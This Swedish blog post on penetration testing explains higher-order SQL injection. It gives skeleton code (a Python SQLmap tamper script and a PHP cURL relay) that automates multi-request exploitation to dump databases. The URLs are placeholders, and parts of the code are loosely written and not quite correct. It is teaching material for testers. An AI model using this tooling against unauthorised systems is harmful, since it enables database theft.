Simovits

Ett ”kort” samtal om högre ordningens SQL injektioner

I denna blogg tänkte jag behandla ett ämne som för förvånansvärt många är relativt okänt, nämligen SQL injektion av andra (eller högre) ordningen.  Först följer en kort sammanställning och definition av vad som i detta fall menas med högre ordningen. Sedan följer en kommentar om hur denna typ av sårbarheter kan utnyttjas med hjälp av det vedertagna verktyget SQLmap.

En högre ordningens SQL injektion är en generalisering av den traditionella varianten. Ett arketypiskt exempel skulle kunna vara en funktion för att registrera användare. Vid den ursprungliga registreringen existerar en SQL injektionssårbarhet då informationen som tas från användaren används direkt i en INSERT sats. Svaret vid lyckad eller misslyckad registrering innehåller ingen indikation om vad som har åstadkommits vid registreringen (tänk enbart ett meddelande i stilen med ”registrering utförd”). Om profilsidan för användaren undersöks går det emellertid att se att beroende på vad som angavs vid registreringen så ändras informationen här, vilket även innefattar tolkningen av SQL kommandon. Därav så är det uppenbart att förfarandet för att utnyttja sårbarheten måste följa en sekvens av steg, där först en användare registreras (med den skadliga SQL satsen inom något fält), därefter att en giltig session erhålls för användaren, och till sist att profilinformationen för användaren betraktas (som då kommer att innehålla resultatet av den skadliga SQL satsen från tidigare). Detta är i tydlig kontrast mot den vanliga formen av SQL injektioner som de flesta känner till och vet hur man utnyttjar. I den vanliga formen av SQL injektion så erhålls i regel resultatet som svar på den förfrågan som laddade upp nyttolasten (attacken). Med det så krävs enbart en förfrågan. I exemplet ovan så krävdes dock tre steg. Detta skulle kunna öka om eventuella CSRF-tokens behövs. Ett minimum av två stycken webbförfrågningar innebär att SQL injektionen kan betraktas vara av högre ordning.

Därav går det att löst definiera N:te ordningens SQL injektion utefter hur många webbförfrågningar som krävs för att” ladda upp” attacken och sedan exekvera den (eller erhålla information om resultatet). Samtidigt så går det att betrakta alla förfrågningarna som krävs för att i iordningställa och förbereda attacken som steg 1 och den efterkommande förfrågan som ger resultatet som steg 2. Med denna utgångspunkt så existerar inget över andra ordningen. Vilken utgångspunkt som är att föredra är upp till läsaren. Personligen så föredras det första synsättet.

För att detektera högre ordningens SQL injektioner så följs i huvudsak samma tillvägagångsätt som för de vanliga. Exempelvis så kan tecken som kan ingå i SQL satser injiceras i alla möjliga datafält. Skillnaden här blir att en viss typ av bokföring krävs, så att datafält kan matchas ihop med resultaten som återfinns på andra ställen inom applikationen. En bra analogi är att betrakta processen på liknande sätt som med lagrade Cross-Site-Scripting attacker. När väl en möjlig SQL injektion av högre ordningen har upptäckts så kvarstår frågan om hur man utnyttja denna (såsom att dumpa informationen från databasen). Detta kräver i regel automatiska metoder för att kunna utföra detta under rimlig tid. Som tur är så går det att använda populära verktyg för detta såvida man är bered att upprätta hjälpskript.

Det vanligt förekommande verktyget SQLmap (http://sqlmap.org) har ett visst stöd för andra ordningens injektioner i form av flaggan –second-url (eller –second-req). Detta sträcker sig dock enbart till att stödja dynamiken med en initial POST/GET förfrågan och sedan en GET förfrågan för att få resultatet. I samtliga fall då förloppet inte följer dessa steg (då exempelvis flera POST förfrågningar krävs eller om SQL injektionen är av högre ordning än två) så krävs andra metoder för att automatisera utnyttjandet av sårbarheten. Nedan följer en kort beskrivning av de två huvudsakliga metoderna som finns.

1 – Utöka SQLmap med hjälp av ”tampering” skript

Det enklaste sättet att utöka eller på annat sätt modifiera SQLmaps beteende i detalj är genom att använda så kallade ”tampering” skript. Detta är inget mer än Python skript som anropas av SQLmap med den givna nyttolasten innan dess att denna skickas till målet. Flera sådana skript kan anropas i följd. För att utnyttja en andra ordningens injektion kan följande tillvägagångsätt användas (i pseudokod liknande Python):

#!/usr/bin/env python3
#Krävs av SQLmap för att bestämma prioritet om flera skript förekommer
from lib.core.enums  import PRIORITY

# Givet att vi vill utföra ytterligare webbförfrågningar för att den andra ordnings injektionen
import requests

# Behövs av SQLmap för att bedöma när skriptet ska köras när flera förekommer
__priority__ = PRIORITY.NORMAL

# Behövs inte anges
def dependencies():
	pass

# Här sker magin 😊  
def tamper(payload, **kwargs):
	""" Dokumentationssträng  """ 
        #URL:er för de kommande nätverksförfrågningarna
	url_1 = "http://1-URL"
	url_2 = "http://2-URL"
	## Om olika headers behöver sättas
	headers = {}
	# Kan sättas om man vill inspektera trafiken med exempelvis Burp
        #  bra för felsökning
	http_proxy  = "http://localhost:8080"
	proxyDict = { "http"  : http_proxy}


	
	## Starta en requests session
	s = requests.Session()

	## Innehållet för eventuell POST-förfrågan
	body = '''Placeholder'''
	
	
	## Exempel på en förfrågan för att förbereda
	response_1 = s.get(url_1, headers=headers)

	## Tar innehållet om man exempelvis behöver få ut någon CSRF-token
	response_1 = response_1.text

	## Exempel på förfrågan som kan behövas göras, exempelvis en POST förfrågan som
        ## måste utföras med någon CSRF-token

	Response_2 = s.post(url_2, headers=headers, data=body, proxies=proxyDict)

	## Måste retunera något
	return payload

Tanken är att man kör denna för att utföra alla extra webbförfrågningar som behövs innan SQL injektionen kan utnyttjas. Detta kan exempelvis inkludera att extrahera CSRF-tokens eller som i exemplet innan att upprätta en ny användare samt logga in denna. För att använda det upprättade skriptet så lägger man till flaggan –tamper=[VÄG TILL SKRITPET] i slutet av SQLmap kommandot. Det är då viktigt att komma ihåg att man fortfarande behöver specificera -u flaggen med den slutgiltiga URL:en. Om man enbart vill använda skriptet för att utföra ett antal webbförfrågningar innan resultatet, som erhålls via en GET-förfrågan, så kan det bli lite problematiskt då SQLmap förväntar sig att man specificerar antingen en GET eller POST adress med parametrar. I detta fall så brukar det i regel gå bra att använda någon skräpparameter (antingen i URL:en om målet struntar i extra parametrar eller i en POST kropp). Det tillvägagångsätt är dock inte helt idealiskt och kan försvåra framgångsrik utnyttjande då massor av skräpparametrar skickas vilket kan förvirra SQLmap. Det är bland annat pga. detta som nästa metod många gånger är att föredra.

2 – Upprätta en egen webbserver som bearbetar förfrågningar till och från målet

Ett alternativ till metoden innan är att man upprättar sin egen webbserver med tillhörande skript/kod. Självfallet går det att använda i princip vad som när det gäller webbserver och backend språk. Det som många gånger kräver minst förberedelse är att köra Apache med PHP (vilket är förinstallerat i exempelvis Kali). Genom att använda PHP implementationen/biblioteket av Curl https://www.php.net/manual/en/ref.curl.php går det att utföra godtycklig http förfrågan och bearbeta resultatet så som önskat. Med det kan man utföra alla nödvändiga steg som krävs och sedan presentera de relevanta delarna för SQLmap som den behöver för att kunna utnyttja sårbarheten. Nedan följer ett skelett som kan användas.

<?php
###################################################
#                                                 #
#    Higher Order SQLi script (2:nd order example)#
#     The goal is to run this via Apache and      #
#     then target it			          #
#    with sqlmap                     	          #
#                                                 #
###################################################

//  our SQLi payload
$payload = $_GET['payload'];

// Page to change (POST), for example create new user 
$injectionURL = "http://1-URL";

// Page with the results of the SQLi (GET), for example a profile page
$resultsURL = "http://2-URL";

################################################################################
#                                                                              #
#     First request                                                            #                                            
################################################################################

// Headers for the first HTTP request
$headers1 = array(
        
    );

## If the requests should be inspected by burp
$proxy = 'localhost:8080';

## Post body, to be changed 
$postbody = “something”

// CURL Handler
$ch = curl_init();
// CURL options
curl_setopt($ch, CURLOPT_POST, true);
// CURL POST URL
curl_setopt($ch, CURLOPT_URL, $injectionURL);
// Return the response in a good format
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers1);
// Body
curl_setopt($ch, CURLOPT_POSTFIELDS, $postbody);


curl_setopt($ch, CURLOPT_PROXY);


$result = curl_exec($ch);
curl_close($ch);

// Any processing that needs to be made on the response $result


################################################################################
#                                                                              #
#      2:nd request: Obtaining the result (if higher order then 2 this is      #
#      proceeded by additional requests)                                       #        
################################################################################

// Headers for the second HTTP request
$headers2 = array(
        
    );

// CURL Handler
$ch = curl_init();
// CURL options
curl_setopt($ch, CURLOPT_GET, true);
// CURL POST URL
curl_setopt($ch, CURLOPT_URL, $resultsURL);
// Return the response in a good format
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers2);

curl_setopt($ch, CURLOPT_PROXY);

$result = curl_exec($ch);
curl_close($ch);

##################################################################################
#                                                                                #
#     An advantage of this method is that we can process the final result in any #     
#     way we want and then present it to SQLmap                                  #                                                                                #                                                                                #
##################################################################################

// Here we just dump the result, which is the minimum needed for SQLmap
var_dump($result);

?>

Som synes så är denna metod relativt simpel. Det som återstår efter att ha upprättat skriptet och startat upp Apache (med skriptet tillgängligt) är att köra SQLmap mot den lokala webbservern (där GET parametern payload ska vara ”sårbar”).

Den här metoden har ett antal fördelar jämfört mot den tidigare. Dessa inkluderar dels en högre stabilitet (inga skräpparametrar behöver införas) och dels en förmåga att bearbeta resultatet av den sista förfrågan för att göra det enklare för SQLmap att identifiera det relevanta innehållet för utnyttjandet.

Avslutande iakttagelser

Genom att göra tillägg till SQLmap i form av hjälp-skript så går det att utnyttja godtyckliga former av SQL injektion, även de av högre ordning. Många gånger så kan det krävas flera olika steg för att kunna automatisera utnyttjandet av en sårbarhet, såsom att erhålla en CSRF-token innan utförandet av en POST-förfrågan samt avslutningsvis göra en GET-förfrågan för att se resultatet. Av de två metoderna som har nämnts så framstår den senare som den mest effektiva och stabila. Om man har en stark aversion mot PHP så går det såklart att göra detta med andra programmeringsspråk och webbservrar. Oavsett så är den metoden i regel bättre än att använda SQLmaps inbyggda tampering skript (dessa är bättre att använda när man just vill kringgå olika filter). Förhoppningsvis har denna blogg gett en bättre bild av en av de mest populära webbapplikationssårbarheterna. För högre ordningens SQL injektioner så krävs en viss egen förmåga att skriva skript vilket gör att den skiljer sig mot den ordinarie varianten, men som vi har sett här så behöver det inte vara så svårt.